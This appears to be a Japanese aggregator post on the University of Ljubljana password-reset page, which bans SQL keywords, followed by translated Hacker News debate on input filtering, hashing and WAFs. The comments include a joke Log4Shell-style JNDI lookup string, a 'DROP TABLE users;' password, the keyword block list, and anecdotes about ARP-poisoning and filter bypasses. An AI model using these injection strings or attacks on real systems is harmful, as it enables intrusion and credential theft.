2 ポイント 投稿者 GN⁺ 2024-01-22 | 1件のコメント | WhatsAppで共有
  • University of Ljubljana IDポータルのパスワードリセットは、ユーザー名と新しいパスワードの確認入力まで求めることで、アカウント復旧プロセスでの入力ミスを減らそうとする構成になっている
  • ユーザー名はメールアドレスのように見える形式で、例として js1234@student.uni-lj.si が示されている
  • 新しいパスワードは最低10文字以上でなければならず、名前や姓のように推測されやすい個人情報を含めることはできない
  • 大文字、小文字、数字、記号 -_.+@ のうち、少なくとも3つの基準を満たす必要がある
  • selectinsertupdatedeletedrop のような単語もパスワードに使用できないため、単純な長さだけでなく禁止パターンまで確認する必要がある

パスワードリセットの入力フロー

  • 画面は UsernameNew passwordNew password confirmation の入力欄で構成されている
  • 3項目はいずれも required と表示されている
  • ユーザー名はメールアドレスのように見える形式
    • John Smithに相当するユーザー名の例は js1234@student.uni-lj.si
  • 新しいパスワードは入力ミスを減らすために2回入力する必要がある

新しいパスワードのルール

  • 新しいパスワードは、ユーザーのデジタルアイデンティティを保護する手段として扱われる
  • 推測されやすいパスワードは避けるべき
    • 例: 名前、姓、パートナーの名前、生年月日
  • パスワードは最低10文字以上でなければならない
  • ユーザーの名前または姓を含めることはできない
  • 次の基準のうち少なくとも3つを満たす必要がある
    • 英字の大文字
    • 英字の小文字
    • 数字
    • 記号: -_.+@

使用できない単語

  • パスワードには次の単語を使用できない
    • select
    • insert
    • update
    • delete
    • drop

1件のコメント

 
GN⁺ 2024-01-22
Hacker Newsの意見
  • ああ、その文字列は私が入れたものです。経営陣の要請で、いまだに理由は分かりません
    このサイトはパスワードを保存しておらず、外部のアカウント管理システムを見栄えよく包んだインターフェースに近いものです
    一部のレガシーアプリのログインフィールド検証がおかしく、特定の文字列を含むパスワードだと学生がログインできないという噂は聞きましたが、実例は知りません

    • 逆に、全員のパスワードを DROP TABLE users; にすればいい。そうすれば、ベンダーのうち誰がパスワードをものすごく危険に扱っているか、すぐに見分けられます
      この場合、ユーザー入力をサニタイズしていないうえ、パスワードをハッシュ化も隠蔽もしていないということなので、社会的迷惑レベルです
    • あるサイトでは、「新しいパスワードを作成」フィールドの最大長が、ログインフォーム入力フィールドの maxlength 属性より長くなっていました
      パスワードマネージャーの自動入力ではログインできるのに、手入力や貼り付けではなぜできないのか、しばらく理解できませんでした。自動入力は maxlength を無視していたからです
    • 単にページ上にある文字列なのか、それとも検証ロジックが実際にブロックしているのか気になります
  • "script" を含められないと言っていましたが、10代前半のころ、大きなソーシャルプラットフォーム Nettby.no をハックしたことがあります
    禁止語をすべて削除する方式で、その中に script も含まれていました

    • 当然、スクリプトを2回実行すべきだったわけです
    • 私も学校で Nettby をハックしていました。いい時代でした
      NettbyにはHTTPSがなかったので、ARPポイズニングの中間者攻撃でみんなのパスワードを盗み、人々のアカウントでランダムな戯言を投稿して混乱を眺めていました。覗き見はしていません。14歳の私にも、どうやら最低限の倫理はあったようです
    • 簡単な問題でした。ただ山かっこを削除すれば済んだはずです
    • LOL。私もCoca-Colaのサイトで同じことをして、その会社のMDから不快そうな手紙を送られ、アカウントを削除されました
  • 批判をかなり受けそうですが、少なくとも一部のケースでは悪くないアイデアだと思います
    組織の中にはひどいコードやひどいシステムアーキテクチャを作る人が多く、それを見つけて変えさせる能力・権限・時間を持つ人は不足しています
    米国では、地域の医療機関のようなひどくコーディングされたWebサイトを通じて、やむを得ず業務をしなければならないことがよくあります。こうした場合、実装がありがちなようにひどいものだと仮定し、それに合った緩和策を勧めるほうがよいかもしれません
    名目上禁止されているパスワードパターンを実際には許可しているかどうかは、ユーザーが簡単にテストして監督機関に問題提起できますが、外部から正しく実装されているか確認するのは簡単ではありません
    エレガントではなく悲劇的ですが、現実には物事がしばしばずさんに処理され、監督も不足しているという事実を受け入れ、最悪の結果を防ぐ緩和策を考えるほうがよいかもしれません

    • 同意しません。紙の上では良さそうに見えても、偽りの安心感を与えすぎます
      こうしたセキュリティ対策は、より深い問題を覆い隠してしまうことが多いです。たいていはユーザー入力を慎重に扱っていないためにこうした対策を入れるのですが、いくつかのキーワードをブロックすれば潜在的な脆弱性が「無力化」されるという前提は、多くの場合簡単に反証されます。eBayとJSFuckの事例を見れば分かります
      こういう考え方が嫌いです。Webアプリケーションファイアウォール(WAF)、手抜きのペネトレーションテスト、コンプライアンスのチェックボックスが膨大な量のセキュリティ劇場を生み出し、企業に、信じられないほどひどく書かれたソフトウェアを公開インターネットに一部さらしても「安全」で「デューデリジェンスを尽くした」と信じ込ませてきたのだと確信しています
      その結果、実際にはほとんど選択肢もなくデータを渡した会社から、私の最も機微な情報がまた漏えいしたという謝罪の手紙が郵便で届くことになります。きっと皆さん私のデータを心から大切に思っているので、何十年も前のJavaシリアライズライブラリの脆弱性で盗まれるままにしていたのでしょう
      [1]: https://blog.checkpoint.com/research/ebay-platform-exposed-t...
    • ある組織にこうしたパスワードポリシーがあるなら、そのポリシー担当者は、自分の組織にはSQLインジェクション脆弱性を防ぐ能力と権限を持つ人が十分にいないと考えている、という意味に解釈できます
      どんな機関にとっても印象は悪いですが、特に能力と権限のある人々の砦であるべき大学なら、なおさら深刻です
      一般的なパスワード助言としては、むしろ全員がこうしたキーワードをパスワードに入れて、バグを早く露呈させるべきです。隠れたまま攻撃者だけに使われるようにしてはいけません
    • パスワードはデータベースの近くにさえ行くべきではありません
      ソルトを付けてからハッシュ化を何十万回も適用し、ファイルに保存されたソルト・ハッシュ値と比較すべきです
      これすらできないなら、認証情報を保存するソフトウェアを書く資格はありません。本気でそう思います。ソフトウェアセキュリティは、データが有害であり、敬意を払わなければ会社を破産させかねないものだと認めるところから始まります
    • これはよくある多層防御の罠に見えます。はるかに効率よく別の層で解決できる問題に、間違った層のエンジニアリング努力を注いでいる状況です
      システムが平文パスワードをデータベーステーブルに入れてしまうのではないかと心配しなければならないなら、そのシステムには他にも恐ろしく間違い得ることが百万ほどあります。たとえばDBAがStack OverflowからSQLをコピー&ペーストしたらどうするのでしょうか
      組織に能力のないエンジニアがいるなら、独自の認証システムを実装させず、広く使われているオープンソースフレームワークや商用製品を使うほうがよいです
    • これが防いでくれる攻撃経路が何なのか分かりません
      認証フローが、パスワードにソルトとハッシュを適用した後に元の平文パスワードを捨てること以外をしているなら、システム全体をそもそも使うべきではありません
  • 問題ありません。代わりに truncate を使えばいいです

  • この状況でいちばん笑えるのは、禁止文字列を全部チェックしているわけでもないという点です
    出典:その学校の学生で、気になって自分で試しました

    • 何かが壊れたら、その免責文言を口実に君へ責任を押し付けてくる可能性が高いです
    • 規則を破ったときのリスクが退学なら、遵守させるのは簡単そうです
  • 適切なストアドプロシージャやほかの手法でSQLインジェクションをそもそも不可能にする代わりに、いくつかのキーワードだけを制限して、ハッカーがエスケープの抜け道のような、自分たちの思いつかない方法を考え出さないことを期待しているだけ
    しばらくはおそらく動くだろうけど、誰かがダメだと証明するまでの話
    ユーザー入力がSQLと混ざらないようにするのは、もはやロケットサイエンスではない。2005年ではない
    そもそもこれが効くなら、パスワードをハッシュ化せずに保存しているということだが、それは2005年でも愚かだった。ユーザー名やほかの入力フィールドにも同じやり方なら多少は筋が通るかもしれないが、パスワードは絶対にそんな形でデータベースに入ってはいけない

    • 会社で、構造化データをHTTPリクエストヘッダーの値としてシリアライズする方法を議論したことがある。反射的に「改行なしJSONのASCIIサブセット」と言ったが、さまざまな理由で却下された。句読点が多すぎるとか、中国語では冗長だとか、そういう理由だったかもしれない
      誰かがパイプ区切りのフィールドを提案したが、それも却下された。理由は「以前、一部の顧客のプロキシがパイプ文字を含むヘッダーを拒否した」みたいなものだった
      ブードゥー的プログラミングは、必ずしも実地検証不足だけが原因ではない。過去に何かがうまくいかなかったことは分かっているが、証拠はなく、対処する方法もない、という場合から生まれることもある
      個人的には、そのままデプロイして壊れるか見て、必要なら後から顧客と解決したい。当然ながら正当な理由で不人気なやり方なので、結局パイプ文字は使わないことになった
    • 2005年初めごろに初めてデータベースアプリを作ったが、ユーザーデータをSQLと混ぜないようにするのは、それほど難しくなかった
      CGIスクリプトもたぶんtaint modeで動かしていたと思う。覚えてる?
    • 「そもそもこれが効くなら、パスワードをハッシュ化せずに保存している」というのは、必ずしもそうではない
      RDBMSがハッシュ関数をサポートしている場合があるので、UPDATE USERS SET PASSWORD = SHA2($PASSWORD)のように保存することもできる。この場合SQLインジェクションには脆弱だが、ハッシュ化されていないパスワードを保存しているわけではない
      ハッシュ化はアプリケーション層で行うよう勧める十分な理由はあるが、正しくパラメータ化されたクエリを使うなら、データベース側でやるのもそこまでひどいわけではない
    • この記事がトップページに上がったという事実自体が、ここで説明している内容がこの読者層には当たり前の話だという意味だ
  • ふう、絶対に捕まえられないな。自分のパスワードは${jndi:ldap://hunter2.com/totallylegit}

    • 違う。それは有効なLDAP URLでもないし、有効なドメインでもない
      ドメインに含められるのはASCII文字のa-zと数字の0-9だけで、アスタリスクは許可されていない。許可される唯一の記号はハイフンで、先頭や末尾に置くこともできない
  • 楽観的に見れば、この要件は過度に厳格な**Webアプリケーションファイアウォール(WAF)**に由来している可能性もある

    • あるいは、アーキテクチャがめちゃくちゃな「フレームワーク」やツール群のせいかもしれない
      ほかのコメントはこれをアプリケーションセキュリティが悪い「証拠」と見ているが、そこまで結論づけることはできないと思う。ただし、スタックの一部がひどく実装されているという結論は出せる
    • それだとWAFがハッシュ化されていないパスワードを見られるという意味なので、まったく良くない
    • WAFが何の略なのか気になる
  • 古いシステムの名残のように聞こえる。一部の大学や銀行が中央認証に古いメインフレームを使っているという話を聞いたことがある
    場合によっては、パスワードが平文で保存され、8文字に切り詰められたうえで、大文字だけが許可されていたと聞いた
    こうしたシステムをアップグレードしない主な理由は、少なくとも私が聞いた限りでは、コストと複雑さだ。動作中のシステムを$$$$かけてアップグレードするくらいなら、$だけかけてパスワードを制限し、基本的な「セキュリティ」を追加しよう、という感じ

  • 数年前、WordPress APIで投稿するアプリを作っていた。顧客はそれぞれさまざまなホスティング環境にWordPressをインストールしており、そこにはいくつもの「セキュリティ」機能があった
    ブログに投稿すると失敗して空の内容が投稿されるというバグレポートを受け取ったのだが、こうしたセキュリティプラグインが長いブログ記事をスキャンして、.... select from のようなものを見つけると、そのPOSTパラメータを空文字列に置き換えていた
    似たような顧客からのバグレポートも見たことがあり、こちらでは私たちのサーバーから送ったリクエストのJSONフィールド内のHTMLテキストに、難読化されたJavaScriptが注入されていた。「セキュリティ」プラグインなのかマルウェアなのかは確信できなかった

    • 以前、特定のページ群で少数のリクエストだけが失敗することがあった。最初はすべてのURLにselectが入っていることに気づいたが、たいていはitemselectのようなパラメータ名の一部だった。そこでスタックのどこかにWAFのようなフィルターがあるのか探した
      結局、商用WAFを使う前からプロキシサーバーに残っていた古い設定を見つけ、その設定がSELECT.*UNIONを探していた
      あらためてURLを見ると、どれもcompany=credit+unionのようなパラメータも持っていた。顔を覆ってそのコードを削除したし、ほかの場所には十分な保護策があった